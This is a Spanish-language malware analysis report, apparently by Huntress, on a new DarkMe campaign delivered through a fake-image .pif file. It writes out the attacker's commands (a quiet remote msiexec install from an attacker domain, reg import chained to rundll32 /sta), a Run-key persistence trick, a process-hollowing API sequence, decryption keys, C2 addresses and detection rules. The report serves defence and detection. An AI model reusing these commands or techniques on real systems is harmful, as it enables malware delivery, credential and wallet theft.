Contexto
DarkMe, un troyano espía y herramienta de acceso remoto escrito en Visual Basic 6 (VB6), se hizo conocido en febrero de 2024 por usar vulnerabilidades zero-day para distribuir malware. Pero esta familia de malware se observó por primera vez en septiembre de 2021 y fue documentada públicamente un año después por NSFOCUS bajo el nombre "Operation DarkCasino", atribuida a un grupo llamado EvilNum. Investigadores de Trend Micro y SonicWall también han vinculado este malware, con las salvedades habituales de atribución, a Water Hydra, un grupo APT con el perfil inusual de perseguir dinero en lugar de espionaje. Sus campañas suelen tener motivación financiera y apuntan a traders de forex, foros de compraventa de acciones, plataformas de apuestas en línea y usuarios de criptomonedas.
Lo que hizo notable al malware DarkMe fue la forma de distribución. En 2023, Water Hydra convirtió en arma la falla de suplantación de extensiones de WinRAR CVE-2023-38831 como zero-day, dejando archivos comprimidos maliciosos en foros de trading. A fines de 2023 y principios de 2024, Water Hydra pasó a CVE-2024-21412, un bypass de Defender SmartScreen basado en un acceso directo que apunta a otro acceso directo (sí, eso existió), preparado en un recurso compartido WebDAV detrás de una vista del Explorador manipulada.
Pero nuestra historia arranca desde el punto de vista del equipo del SOC de Huntress, y esta técnica es casi irreconocible. Aquí no hay ningún exploit. Una regla de búsqueda detectó actividad extraña alrededor de un archivo de información de programa (PIF) que lanzaba Windows Installer. Todo lo que sigue a ese PIF es DarkMe de manual, pero todo lo anterior es, francamente, aburrido. Aun así, nos pareció una historia interesante para contar, porque ilustra una tendencia más amplia: actores de amenazas avanzados que optan por métodos de acceso inicial menos sofisticados para ampliar su alcance.
Figura 1: Descripción general de la cadena de ataque utilizada en esta nueva campaña de DarkMe
Análisis técnico
Acceso inicial: una foto que no lo era
La distribución llegó a través de un enlace en un correo de malspam de ingeniería social de lo más común:
Figura 2: Correo de phishing que distribuye un PIF disfrazado de imagen
Aunque el enlace del correo apuntaba a https://readonline365[.]com/view/image.png, una URL de un archivo gráfico, el servidor web entregaba image.pif, un ejecutable de Windows.
Figura 3: La hoja de Propiedades describe el archivo como un "Acceso directo a programa MS-DOS", pero el archivo es, en sí mismo, un ejecutable.
La extensión .pif, una reliquia de la era DOS, significa "archivo de información de programa" (program information file). Los sistemas Windows modernos ejecutan los archivos .pif como un programa, sin importar lo que sugiera la extensión (o lo que muestre el ícono).
Figura 4: Al renombrarlo con la extensión .exe, la pestaña Detalles de la hoja de Propiedades del archivo revela información falsificada, antes oculta, que sugiere que el archivo es un componente de un producto de seguridad llamado Aegis Sentinel, aunque no tiene ninguna relación con ese producto.
El mismo archivo, idéntico, un binario PE32+ de 1 MB, se entregó en dos entornos de clientes de Huntress. Los usuarios simplemente hicieron doble clic y descargaron el archivo, sin darse cuenta de lo que era.
Figura 5: image.pif — descarga y ejecución
Preparación: msiexec, un wrapper de exemsi y un script
La única tarea del PIF es invocar el instalador de Microsoft, msiexec, para descargar y ejecutar un archivo instalador .msi alojado en una dirección web registrada por el atacante. Para ello, ejecutó este comando:
msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart
Descargar un MSI remoto por HTTPS con /quiet es poco común en la mayoría de los entornos, porque los instaladores legítimos casi nunca residen en la raíz de un dominio por lo demás vacío.
El propio MSI lo delata. Sus metadatos indican que se creó con el exemsi "MSI Wrapper" (versión 11.0.53.0), empaquetado bajo el nombre de fachada "PrinterFind Softwares", con fecha de creación del 11 de enero de 2024. Toda la estructura benigna del wrapper está presente:
MsiCustomActions.dllnewdev.exe(stub)BZ.RUN_BEFORE_INSTALL_FILEconfigurado comowScript.exe
En otras palabras, el propósito del instalador es expandir un archivo Windows Cabinet y ejecutar un script. EXPAND.EXE -R files.cab deja los componentes en %AppData%\ComponentsFolder\, y el instalador ejecuta prnfig.wsf.
Figura 6: Componentes de DarkMe instalados en una carpeta llamada ComponentsFolder
Figura 7: prnfig.wsf, el script de preparación, que muestra las copias de archivos, la reescritura de la plantilla del Registro y la transferencia con reg import más rundll32 /sta.
Leer prnfig.wsf abre una ventana clara a la intención del operador. El archivo de Windows Script Host hace cuatro cosas:
Copia todos los archivos descargados en
%AppData%\ComponentsFolder\Copia solo
clspack.exeen%AppData%\Microsoft\, colocando el objetivo del vaciado donde un binario firmado de Microsoft luce menos fuera de lugarEscribe una plantilla para hacer cambios en el Registro de Windows
Lanza el loader
El archivo filetext.txt descargado es una plantilla del Registro que registra el objeto COM como @="Coconout.dll". El script la lee, sustituye la ruta completa %AppData%\ComponentsFolder\Coconout.dll (incluido el nombre de la cuenta de usuario local en la ruta), escapa las barras invertidas para una importación .reg y escribe el resultado en filetext2.txt. Luego espera 1.5 segundos y ejecuta:
cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
Figura 8: La plantilla del Registro filetext.txt para importar
Esa importación registra un servidor COM en HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}, con ProgID Coconout.Primary y InprocServer32 apuntando a Coconout.dll.
El loader: Rundll32.exe y tres loaders de Visual Basic 6
El comando que inicia la etapa final de la infección, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}, se observó en la campaña de 2024 y es una excelente firma para detectar o buscar. El indicador /sta ejecuta el objeto COM registrado en un apartamento de un solo subproceso (STA) mediante IShellRunDll::Run, una ruta de ejecución poco conocida que evade las detecciones basadas en la sintaxis habitual rundll32 <dll>,<export>.
En particular, la ruta de la DLL nunca aparece en la línea de comandos, solo un UUID opaco.
A partir de ahí, la cadena pasa por tres loaders de VB6, cada uno de los cuales es una capa de ofuscación que llama a una exportación con nombre en el siguiente:
Coconout.dlles el loader COM de la etapa 1, que carga la etapa 2 y llama a su exportaciónFillText.Use.dll→FillTextes la etapa 2, donde residen la barrera anti-sandbox (y de detección de VM) y la persistencia. La barrera examina el endpoint en busca de una larga lista de aplicaciones que le interesan al operador; cuando una máquina no supera la verificación, la ejecución simplemente se detiene.Finalized.dll→Calculationes la etapa 3, que perfila el endpoint, descifra el payload y vacía un binario firmado.
Figura 9: Las funciones del componente Finalized.dll incluyen "Calculation" y el nombre interno de la DLL, VBDLLDemo.EXE
Un vistazo más de cerca a las DLL del loader
Figura 10: Desglose de las tres DLL
Todas las DLL se parecen en los detalles del archivo. Parece que se compilaron juntas: cada una informa su idioma como español (España, alfabetización internacional), un indicio de que el entorno de desarrollo integrado (IDE) de VB6 del atacante estaba configurado en español. Las etapas 2 y 3 tienen el nombre de archivo original Proyecto 1.dll, el valor predeterminado de VB6 sin modificar, mientras que la etapa 1 se renombró a Coconout.dll para coincidir con el registro COM al que debía responder. El nombre del producto se divide de la misma forma: Use.dll y Finalized.dll se compilaron bajo YourConfig, y Coconout.dll bajo ProjectOwner. Las tres dejan vacíos los campos de descripción y copyright.
Figura 11: Los detalles de las tres DLL muestran que se compilaron en un sistema de desarrollo localizado en español
Etapa 1: Coconout.dll, el punto de entrada COM
Coconout.dll es la más pequeña de las tres, con 28 KB, y el único servidor COM real. Exporta exactamente las cuatro funciones que necesita una DLL y ninguna exportación propia, porque no se llama por nombre: se instancia por CLSID. La ruta /sta está integrada a propósito y no es casual, ya que Coconout.dll implementa IShellRunDll, que es la interfaz que busca rundll32.exe /sta {CLSID}.
Las cadenas están en UTF-16 sin ofuscar y revelan el propósito de este binario: \ComponentsFolder\Use.dll, la exportación FillText y el mensaje de respaldo Warning: Use.dll not loaded - using defaults. La carga está en un bucle de reintentos: tres intentos con 50 milisegundos de diferencia. Los tres loaders declaran, y nunca llaman, una buena cantidad de API: bloques de declaraciones copiados íntegros de un archivo de ejemplo o similar, recortados a nivel del código fuente, pero no a nivel de las declaraciones.
Dentro de Coconout.dll hay un artefacto de compilación interesante:
Figura 12: Una cadena de compilación interesante que quedó en Coconout.dll
La presencia de bada (en italiano, "ojo" o "atención", como en ten cuidado) dentro de la estructura de carpetas del desarrollador coincide con inteligencia de amenazas previa que vincula a DarkMe con una mezcla de artefactos lingüísticos italianos y españoles en su código y su historial operativo.
Etapa 2: Use.dll, la barrera y la persistencia
Use.dll es donde vive la primera lógica interesante y donde el operador ocultó más cosas. Ejecutar strings devuelve poco de valor: solo importaciones del runtime de VB6 y un conjunto de nombres aleatorios de clases y módulos de nueve caracteres (ysmzkrxox, zxefmxxdi, tnblrypyr) que parecen la salida de un ofuscador que aleatoriza nombres.
Si amplías a UTF-16 con una herramienta como FLOSS, aparece el mecanismo de persistencia:
Software\Microsoft\Windows\CurrentVersion\RunSoftware\Classes\Locked\shell\open\commandURL:Locked Protocolexplorer.exe"Locked://Newest"la línea de comandos completa
rundll32.exe /sta {CFDC57BA-...}
El autor ofuscó la lista de objetivos (abajo) y su registro de depuración interno, pero dejó legibles las rutas del Registro.
El resto se almacena como ASCII codificado en hexadecimal dentro de literales de cadena UTF-16, que se decodifican en tiempo de ejecución y son invisibles para un escáner que busque texto legible. El decodificador es una función compartida por las tres DLL y, en esencia, es solo bytes.fromhex() aplicado a cada literal UTF-16 completamente hexadecimal, lo que revela 374 cadenas ocultas en la etapa 2 y cuatro en la etapa 3.
Esas cadenas documentan el comportamiento del malware con las propias palabras del operador. La etapa 2 mantiene un registro de depuración continuo (Integrity check passed. Found Finalized.dll., ERROR: Failed to load Finalized.dll from any location) que se escribe en %TEMP%\Zeta_Component.log, con marca de tiempo línea por línea. Solo aparece cuando DebugMode está configurado en 1 en HKCU\Software\Locked\Config.
Las mismas cadenas decodificadas describen la transferencia a la etapa 3, que está diseñada para sobrevivir a una limpieza parcial: la etapa 2 busca \ComponentsFolder\Finalized.dll, si no la encuentra busca \System32\Finalized.dll, y si falta la exportación Calculation, recurre a una llamada Calculate.
La barrera de 329 aplicaciones
La pieza central de la etapa 2 es una lista de 329 nombres de ejecutables únicos.
Figura 13: El componente Use.dll contiene una extensa lista de software que le interesa
Muchos de los programas de la lista son lo que esperarías que le interesara a un cryptostealer:
Billeteras (
metamask.exe,ledger live.exe,trezor suite.exe),Gestores de contraseñas (
keepass.exe,bitwarden.exe)Terminales de trading (la cadena de herramientas de MetaTrader 5,
ninjatrader.exe),Clientes de póker en línea que encajan con los objetivos históricos de DarkMe (
pokerstars.exe,partypoker.exe,888poker.exe)
Luego la lista continúa, mucho más allá de lo que normalmente se consideraría digno de robar:
Clientes de chat y videoconferencia
17 consolas de atención al cliente distintas
Clientes VPN (incluido
mullvad-deamon.exe—el error tipográfico es del operador, no nuestro)Lanzadores de juegos, incluidos League of Legends, Roblox, Steam, Epic, Ubisoft, Battle.net, CounterStrike y Rocket League
Spotify.exeyvlc.exeNavegadores, clientes de correo, lectores de PDF, editores de fotos, rastreadores de tiempo y utilidades varias
Una lista de utilidades de soporte de OEM y periféricos, desde una docena de variantes de Lenovo Vantage hasta
razersynapse.exe,icue.exeyrgbfusion.exe
Esa última categoría cambia el sentido de toda la lista. Las utilidades de configuración de mouse gamer y los daemons de iluminación RGB no guardan nada de valor, pero sí demuestran que un ser humano usa esta computadora. Esa parece ser la función de la lista, porque la cadena de control decodificada lo delata:
No protected apps found - exiting FillText
La ejecución se detiene cuando no se encuentra ninguna de las 329. Esto no es una lista de objetivos; es una verificación de sandbox invertida. Una verificación de evasión convencional busca herramientas de análisis y se retira cuando las encuentra, pero esta lista no contiene herramientas de análisis. En lugar de preguntar "¿me están observando?", DarkMe pregunta si alguien realmente usa este sistema. Una VM de análisis básica sin Steam, sin drivers de Razer y sin Slack no supera la verificación, y el malware sale sin haber hecho nada digno de reportar: un truco duradero precisamente porque no se soluciona ocultando tu depurador.
Curiosamente, Use.dll no importa nada más que el runtime de VB6, pero declara CreateToolhelp32Snapshot, Process32First y Process32Next como sentencias Declare de enlace tardío, cuyos nombres de destino aparecen en el binario como ASCII plano y no en el directorio de importaciones. Así, la barrera recorre la lista de procesos activos, lo que la convierte en una prueba de un momento puntual y no en un inventario de lo que tiene instalado el endpoint.
Persistencia, escrita antes de que se cargue el payload
La barrera se ejecuta primero y las escrituras en el Registro van después de la barrera de procesos; las escrituras usan la misma ruta de enlace tardío, RegCreateKeyExA y RegSetValueExA de advapi32, en dos secuencias:
Crea
HKCU\Software\Classes\Locked, configura su valor predeterminado comoURL:Locked Protocol, agrega el marcador vacíoURL Protocolque le indica a Windows que se trata de un esquema URI y luego escribe la línea de comandosrundll32.exe /sta {CFDC57BA-...}enHKCU\Software\Classes\Locked\shell\open\commandCrea
HKCU\Software\Microsoft\Windows\CurrentVersion\Runy escribe el valorLocked, cuyos datos sonexplorer.exe "Locked://Newest"
Ese segundo paso nombra el valor Run por primera vez. Ambos pasos del truco para enmascarar el proceso padre se escriben aquí, en una sola función. Vale la pena tenerlo en cuenta al remediar, ya que eliminar el valor Run sin eliminar también el registro de la clase Locked deja intacta la ruta de relanzamiento (y viceversa).
Etapa 3: Finalized.dll, perfilado y RunPE
Finalized.dll es la más grande de las tres, con 1.1 MB, y exporta Calculation, el punto de entrada al que llama la etapa 2. Al decodificar los literales de cadena UTF-16 hexadecimales, se ve que la etapa 3 oculta cuatro cadenas:
APPDATA\ComponentsFolder\company.cerNobodygoingout\Microsoft\clspack.exe
Figura 14: Una cadena codificada en hexadecimal sugiere una noche solitaria en casa para alguien
Esas cuatro cadenas dan pistas sobre el propósito de este binario; APPDATA es la variable de entorno contra la que se resuelven las otras dos rutas, lo que da %AppData%\ComponentsFolder\company.cer para leer el payload y %AppData%\Microsoft\clspack.exe como objetivo. Esa segunda ruta cierra el círculo con el mucho anterior prnfig.wsf, que copió clspack.exe en %AppData%\Microsoft\ durante la instalación precisamente para que la etapa 3 encontrara un binario firmado de Microsoft esperándola: Nobodygoingout, la cadena restante, que en principio parece ser la clave que descifra el payload company.cer.
Figura 15: Cómo el componente Finalized.dll completa la infección
Una vez más, las API declaradas nos ayudan a completar los espacios en blanco:
CreateProcessAZwUnmapViewOfSection from ntdllVirtualAllocExWriteProcessMemoryReadProcessMemoryVirtualProtectExRtlMoveMemoryGetThreadContextSetThreadContextResumeThread
Esa es la cadena clásica de vaciado de procesos. La etapa 3 no declara ninguna API de Registro, ni de enumeración de procesos, ni de red. Solo lee el payload, lo inyecta en clspack.exe y luego sale.
La primera tarea de Finalized.dll:Calculation es generar un informe de perfil del endpoint a partir de siete llamadas a Environ$() y presentarlo en cuatro formatos (INI, XML, un System Report en HTML y una exportación del Registro de Windows), junto con un relevamiento más amplio de claves de hardware, servicios, políticas, pantalla y configuración regional.
Nobodygoingout, y el RC4 que no lo es
Nobodygoingout es la clave que descifra el payload. La etapa 3 lee company.cer, lo pasa por un único paso de descifrado con esa cadena como clave y entrega el PE descifrado directamente a la rutina de vaciado.
El descifrador parece un bucle típico de descifrado RC4, pero en realidad está roto de una forma muy específica.
Figura 16: Rutina RC4 rota reconstruida
Lo que sigue es material para verdaderos nerds de la criptografía; si prefieres no pasar cuatro párrafos intentando entender RC4, aquí va la versión corta: el autor intentó implementar RC4, omitió una línea y convirtió una función de cifrado RC4 en un XOR con 0x02.
Esas dos líneas son todo el cuerpo del bucle. El RC4 real llena S con la identidad antes del bucle e intercambia S(i) con S(j) dentro de él. Esta versión no tiene ningún intercambio e inicializa S(i) en la misma iteración en que lo lee, después de leerlo. Así, S(i) siempre lee cero, S termina como la permutación identidad simple y los 2,048 bits de estado de los que depende RC4 nunca llegan a existir. Todo lo que aporta la clave sobrevive como un único escalar de 8 bits, que para Nobodygoingout es el número 172.
Lo que queda genera el keystream duplicando ese único byte, state = (2 * state + 1) MOD 256, y tomando (2 * state) MOD 254 como salida. Esa recurrencia tiene un punto fijo: desde cualquier valor inicial, state se arrastra a 255 en ocho pasos, después de lo cual el byte de salida es 2 para siempre.
Por eso todas las descripciones publicadas de DarkMe registran el payload como un simple XOR de un solo byte con 0x02. No es un XOR de un solo byte por diseño. Es un cifrado de flujo con clave cuyo estado se autodestruye a los siete bytes.
Esos siete bytes son la parte que todos han estado descartando. Partiendo de state = 172, la recurrencia emite b2 68 ce a0 40 7e 00 antes de colapsar, y aplicar XOR con eso sobre company.cer hace que el archivo empiece con 4d 5a 90 00 03 00 00 00, el stub canónico de MS-DOS, exacto hasta el byte. El encabezado nunca fue reemplazado por un stub, lo que contradice lo que se había reportado antes. Esos siete bytes del keystream son el encabezado DOS, y son los únicos bytes de un payload de 22.5 MB que la clave realmente protege. El atajo que todos usan en su lugar, aplicar XOR 0x02 en todo el archivo y parchear a mano MZ al inicio, deja cinco bytes incorrectos en campos heredados que Windows ignora, así que el archivo igual carga y se analiza correctamente, pero produce un hash distinto: e34bb5f7... frente al correcto 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76.
Vaciado de procesos en un binario firmado de Microsoft
Con el payload "descifrado", la etapa 3 vacía clspack.exe, un binario legítimo firmado por Microsoft (la "Zip Package Creation Tool") que el script de preparación ya había copiado en %AppData%\Microsoft\. La secuencia es el RunPE estándar:
CreateProcessen estado suspendidoZwUnmapViewOfSectionVirtualAllocExWriteProcessMemorySetThreadContextResumeThread
Como el proceso anfitrión está realmente firmado, los controles basados en firmas y reputación ven un ejecutable confiable de Microsoft, mientras que el código que se ejecuta dentro es cualquier cosa menos eso.
Figura 17: La utilidad Hollows Hunter detecta vaciado de procesos en clspack.exe (componente)
Un binario firmado de Microsoft que se ejecuta desde %AppData%\Microsoft\ en lugar de System32 es anómalo sin importar su firma, y es una oportunidad de detección más limpia que intentar detectar la inyección en sí.
El payload: DarkMe, confirmado
Dentro del proceso vaciado se ejecuta un stealer y RAT en VB6, con nombre de proyecto interno Officially o PartiallyesOnes. Los stealer-RAT de varias etapas que se descifran y desempaquetan a través de varios loaders son un patrón que ya hemos desarmado antes, más recientemente en nuestra ingeniería inversa de MacSync Stealer; esta variante de DarkMe es su prima de Windows en VB6.
La telemetría de los incidentes apuntaba a capacidades que coinciden con las técnicas de DarkMe reportadas anteriormente:
Robo de billeteras de criptomonedas (MetaMask, Ledger, Exodus, Trezor, Phantom),
Captura de pantalla mediante GDI+
Enumeración de antivirus mediante la consulta WMI
SELECT * FROM AntivirusProductManipulación completa de archivos y ejecución arbitraria de comandos a través de un canal TCP personalizado implementado sobre
wsock32
La gran pista de DarkMe es que sus verbos de C2 son mnemónicos derivados del español y del italiano, y tanto Trend Micro como SonicWall publicaron una lista idéntica. Los nuestros coinciden:
SHLEXE(ejecutar comando de shell)ZIPALO("comprímelo")COPALO("cópialo")PASALO("pásalo")DELMAP(eliminar directorio)STRFLS(enumerar un directorio)
Junto con el payload de XOR de un solo byte y toda la cadena estructural (MSI remoto, CAB en %AppData%, reg import de un archivo de texto descargado, rundll32 /sta {CLSID}, loaders de VB6 que llaman a exportaciones con nombre y vaciado de un binario firmado copiado desde un archivo disfrazado), estamos seguros de que se trata de DarkMe.
Recuperación del C2 oculto en la muestra
DarkMe no almacena su C2 en texto claro; el dominio está cifrado con RC4 (esta vez con un algoritmo RC4 que funciona) y escondido dentro de un formulario de Visual Basic como valor de un cuadro de texto, que se descifra en tiempo de ejecución con una clave codificada de forma fija. Los reportes previos son útiles aquí por un motivo que vale la pena señalar de entrada: SonicWall y Trend Micro recuperaron la misma clave RC4, noway123!$$#@35@!, de campañas con seis meses de diferencia, lo que la hacía parecer un artefacto duradero y un pivote confiable.
No fue nuestro caso. Al extraer el blob RC4 de los recursos del formulario de nuestra muestra obtuvimos una clave diferente pero similar: onlywayhere23!$$#@!!35@!12. La configuración del dominio de C2 descifrada apunta a thatawful[.]boutique, que resuelve a un C2 en 67.43.50[.]11:7712.
Figura 18: Los volcados de memoria del proceso vaciado clspack.exe exponen el dominio de C2
Esto significa que estamos ante una compilación nueva generada a partir del mismo código/kit de herramientas, y no ante un binario reciclado de 2024.
Figura 19: El dominio de C2 cifrado con RC4 en VBReFormer
El análisis con Censys de 67.43.50[.]11 (alojado a través de Voxility/ColoGuys en Praga) revela una implementación descuidada de Windows Server que expone una gran cantidad de puertos de administración remota, incluidos RDP (3389), WinRM (5985, 47001) y DCERPC (135). El servicio RDP incluso filtra el nombre de equipo predeterminado de Windows de la máquina WIN-78P55T5IL26 a través de un certificado TLS autofirmado.
Curiosamente, los puertos web estándar (80 y 443) de esta IP no sirven un panel de C2 típico; en cambio, el servidor Nginx emite una redirección 302 que envía a los visitantes a un enlace de seguimiento de adware sospechoso en effectivecpmnetwork[.]com. A esto se suma el descubrimiento de otro dominio (megchartedbk7[.]com) que resuelve exactamente a la misma IP.
Figura 20: El C2 descifrado con RC4 analizado con Censys
Figura 21: Puerto codificado de forma fija para el tráfico de C2 en VBReFormer
El malware incluye un puerto codificado de forma fija que representa otra oportunidad de detección. Todas nuestras muestras se comunicaron por el puerto 7712, un puerto no estándar que rara vez se asocia con aplicaciones empresariales legítimas.
Marcar o bloquear el tráfico saliente hacia TCP 7712 ofrece una señal simple y con poco ruido para identificar sesiones de C2 activas de este RAT.
Persistencia: escondida detrás del Explorador
La persistencia es una sola clave Run de HKCU, pero con un giro que parece nuevo: en lugar de volver a invocar rundll32 directamente, el valor es:
explorer.exe "Locked://Newest"
Locked:// es un controlador de protocolo URL personalizado que el malware registra en HKCU\Software\Classes\Locked\shell\open\command, y seguirlo lleva de vuelta a rundll32.exe /sta {CFDC57BA-...}, el inicio de la cadena de loaders. Enrutar el relanzamiento a través de explorer.exe y un controlador de protocolo hecho a medida enmascara el proceso padre al iniciar sesión, de modo que el rundll32 malicioso parece descender del Explorador y no directamente de una clave Run.
OSINT: hora de excavar
VirusTotal registra siete dominios que sirven este archivo .pif en el entorno real, y al revisarlos se reducen a cinco servidores de entrega genuinos:
storageonline[.]mereadonline365[.]comviewdocument[.]liveadvancedfuturetechnology[.]comsharedfuturetech[.]com
Cuatro seguían sirviendo el binario idéntico, 394c93df…, byte por byte cuando los descargamos. Los otros dos ya habían cambiado para entonces: advancedfuturetechnology[.]com, aparentemente suspendido por su proveedor, y sharedfuturetech[.]com, que devolvía un 404 con el payload retirado, aunque VirusTotal detectó ambos sirviéndolo activamente en agosto.
Las rutas variaban (/pictures/image.png, /view/image.png, /SCAN_2026-0698494.pif) mientras que el payload nunca cambiaba. Dos servidores entregaban el PE como text/plain, y tanto las URL .png como las .pdf respondían con un 301 directo al .pif.
El alojamiento se divide en dos: tres dominios en Ultahost en Fráncfort y dos sitios de WordPress en Hostinger. Esos sitios de WordPress podrían estar secuestrados, pero viewdocument[.]live es contenido de plantilla inicial en su totalidad. El dominio se registró a las 16:02 UTC del 1 de marzo de 2026, con nueve publicaciones de demostración creadas a las 16:31:28, en menos de media hora. Curiosamente, su API filtra la cuenta de usuario, cuyo nombre visible recurre a una dirección de Gmail porque nunca se configuró el apodo.
readonline365[.]com también tiene habilitado el listado de directorios, y así terminamos leyendo el directorio de trabajo del operador: ambos nombres de archivo de los señuelos de la campaña con hashes coincidentes, un INF de prueba de 148 bytes que no hace nada más que ejecutar calc.exe, una compilación hermana de VB6 de 64 KB y un PNG de 27 MB que lleva 19,222,574 bytes añadidos después de su marcador EOF IEND. Ese último se parece al truco de payload dentro de una imagen que usó esta campaña, pero ninguna de las claves que recuperamos lo abre, así que probablemente forme parte de otra campaña.
Figura 22: El directorio abierto que contiene payloads en readonline365[.]com
Por último, sharedfuturetech[.]com ya había retirado su payload de DarkMe cuando lo descargamos, pero el servidor no estaba inactivo. Su raíz sirve una página falsa de crack de software que guía al visitante por una instalación falsa en la que se le pide pegar un comando en PowerShell, una técnica que llamamos ClickFix. Esto distribuye una familia completamente distinta, con su propio loader y C2, que parece ser un stealer derivado de Efimer, una familia documentada por Kaspersky. La estamos tratando como una campaña separada.
Figura 23: sharedfuturetech[.]com usa un señuelo estilo ClickFix para que el usuario ejecute un comando malicioso
Dos cosas ponen esta página en contexto:
Un error de TLS en el mismo servidor revela un certificado de un dominio coalojado generado por máquina
Su historial de certificados lleva a un grupo de sitios que imitan bancos, plataformas de criptomonedas y servicios de streaming, cinco de los cuales sirven una copia idéntica byte por byte de esa misma página de crack.
El dominio sharedfuturetech[.]com ya servía ejecutables no relacionados en marzo de 2026, cinco meses antes de esta campaña. Así que un mismo servidor monetizaba dos operaciones distintas a la vez, en una infraestructura que antecede por meses a la actividad de DarkMe.
Al momento de escribir esto, el servidor de preparación activo, con un listado de directorio abierto y el payload verificado en disco, obtenía 0 detecciones maliciosas de 52 motores en VirusTotal. AbuseIPDB asigna a todas las direcciones un 0% de confianza, GreyNoise no tiene clasificación y abuse.ch no tiene registros. Un alojamiento compartido barato en dominios limpios basta para pasar por completo bajo el radar del bloqueo basado en reputación, así que aquí la detección tiene que venir de los hashes y el comportamiento que se detallan a continuación, no de un feed de IOC.
Figura 24: La infraestructura del adversario de DarkMe según el mapeo con VirusTotal Graph
Guía de mitigación y remediaciones
Busca la cadena de ejecución (consultas baratas con alta señal)
Genera una alerta cuando
rundll32.exese invoque con/stay un GUID, pero sin ruta de DLL en la línea de comandos. Esto es central en todas las generaciones documentadas de DarkMe y es poco común en usos legítimos.Genera una alerta cuando
msiexecdescargue un MSI remoto por HTTP/S (un argumento de URL para /i). Es poco común y de alta señal en la mayoría de los entornos.Genera una alerta ante
reg.exe importde un archivo desde una ruta en la que el usuario puede escribir, especialmente%AppData%. El software legítimo casi nunca hace esto.Genera una alerta cuando
wscript.exeocscript.exeejecute un.wsfdesde%AppData%, y cuando cualquiera de ellos generereg.exeorundll32.exe.
Detecta el enmascaramiento y el vaciado
Genera una alerta ante la ejecución de archivos
.pif. Su uso legítimo en Windows moderno es prácticamente inexistente.Genera una alerta cuando binarios firmados de Microsoft como
clspack.exese ejecuten desde%AppData%en lugar deSystem32/SysWOW64.Enumera
HKCU\Software\Classes\*\shell\open\commanden busca de controladores de protocolo no estándar, y de valores de claves Run que invoquenexplorer.execon un esquema URI personalizado. Esto detecta la variante de enmascaramiento del proceso padreLocked://.
Contén y limpia
Aísla el endpoint, termina el
clspack.exevaciado y elimina los artefactosComponentsFoldery%AppData%\Microsoft\clspack.exe.Elimina la persistencia: el valor
HKCU...\CurrentVersion\Runy los registrosHKCU\Software\Classes\LockedyCLSID {CFDC57BA-...}. Se requiere un reinicio para completar la eliminación.Restablece las credenciales del usuario afectado y considera comprometida cualquier billetera de criptomonedas usada en el endpoint, asumiendo que las frases semilla quedaron expuestas.
Bloquea
onlineview365[.]com,readonline365[.]comythatawful[.]boutique / 67.43.50[.]11.
Conclusión
No estamos sugiriendo que DarkMe sea de alguna manera menos sofisticado en sus capacidades que hace dos años; estamos señalando que ahora no necesita serlo. La misma cadena de loaders de VB6, la misma invocación COM y el mismo vaciado en un binario firmado que Water Hydra distribuyó detrás de dos zero-day aparecieron aquí detrás de un .pif y un doble clic. Todo lo costoso de la distribución anterior (la falla de WinRAR, el bypass de SmartScreen, la preparación en WebDAV y la vista del Explorador manipulada) desapareció, y nada de eso se extrañó. Un archivo que Windows ejecuta a primera vista no le pide al atacante nada más que un correo convincente.
Abandonar los zero-day no debilitó esta campaña. Al contrario, hizo que la operación fuera más barata, altamente escalable y más fácil de dirigir a un público más amplio. Eso explica el cambio de objetivos, de traders de forex de nicho a usuarios corporativos comunes. Es una narrativa conocida, pero frustrante: estamos viendo cómo los actores de amenazas pasan de intrusiones dirigidas y altamente especializadas a ataques de gran volumen y poco esfuerzo, y los resultados hablan por sí solos. En 2026, los usuarios siguen haciendo clic en enlaces de correos no solicitados. Mientras estas tácticas de phishing de la vieja escuela sigan funcionando, los adversarios no tienen motivos para quemar exploits costosos.
Indicadores de compromiso (IOC)
Artefactos en disco y en memoria
Valor | Descripción |
|---|---|
SHA256: | Dropper inicial que se hace pasar por una imagen |
SHA256: | MSI de preparación empaquetado con |
SHA256: | VBScript de preparación |
SHA256: | Importación del Registro para el registro COM |
SHA256: | Loader, etapa 1 (COM) |
SHA256: | Loader, etapa 2: barrera anti-sandbox + persistencia (exportación |
SHA256: | Loader, etapa 3: RunPE (exportación |
SHA256: | Payload cifrado: clave de 7 bytes y luego XOR de un solo byte |
SHA256: | Binario legítimo firmado de Microsoft, vaciado para alojar el RAT |
| Servidor COM registrado ( |
| Biblioteca de tipos asociada |
| Directorio de preparación de componentes |
| Controlador de protocolo |
| Valor de persistencia al iniciar sesión (T1547.001) |
Red / infraestructura
Tipo | Valor | Descripción |
|---|---|---|
Dominio |
| Servidor de preparación del MSI ( |
Dominio |
| Servidor de entrega/redirección (observado en el segundo incidente) |
Dominio |
| Dominio de C2 descifrado con RC4; no resolvía al momento de escribir esto |
IP:Puerto |
| Endpoint de C2 |
Clave RC4 |
| Descifra la cadena de C2 del formulario VB del RAT (difiere de la clave pública del builder) |